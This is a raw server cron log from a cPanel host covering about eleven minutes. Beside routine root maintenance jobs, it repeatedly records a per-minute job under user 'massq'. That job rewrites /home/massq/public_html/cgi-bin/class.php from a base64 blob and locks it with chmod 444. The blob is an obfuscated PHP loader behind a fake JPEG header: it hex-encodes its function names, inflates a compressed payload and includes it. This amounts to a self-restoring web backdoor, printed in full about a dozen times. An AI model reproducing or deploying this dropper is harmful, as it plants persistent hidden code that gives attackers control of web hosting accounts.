Sep  7 10:08:01 server CROND[17231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:09:01 server CROND[17597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:09:01 server CROND[17599]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 10:09:01 server CROND[17598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:09:01 server CROND[17600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:10:01 server CROND[17986]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:10:01 server CROND[17988]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 10:10:01 server CROND[17991]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 10:10:01 server CROND[17992]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 10:10:01 server CROND[17993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:10:01 server CROND[17994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:10:01 server CROND[17989]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:10:01 server CROND[17990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:11:01 server CROND[18912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:11:01 server CROND[18914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:11:01 server CROND[18911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:12:01 server CROND[19285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:12:01 server CROND[19286]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 10:12:01 server CROND[19287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:12:01 server CROND[19288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:13:01 server CROND[19674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:13:01 server CROND[19675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:13:01 server CROND[19676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:14:01 server CROND[20057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:14:01 server CROND[20056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:14:01 server CROND[20058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:15:01 server CROND[20442]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:15:01 server CROND[20447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:15:01 server CROND[20444]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 10:15:01 server CROND[20445]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 10:15:01 server CROND[20446]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:15:01 server CROND[20450]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 10:15:01 server CROND[20451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:15:01 server CROND[20448]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 10:15:01 server CROND[20449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:16:01 server CROND[21387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:16:01 server CROND[21388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:16:01 server CROND[21389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:17:01 server CROND[21775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:17:01 server CROND[21776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:17:01 server CROND[21777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:18:01 server CROND[22199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:18:01 server CROND[22200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:18:01 server CROND[22201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:19:01 server CROND[22581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:19:01 server CROND[22582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:19:01 server CROND[22583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
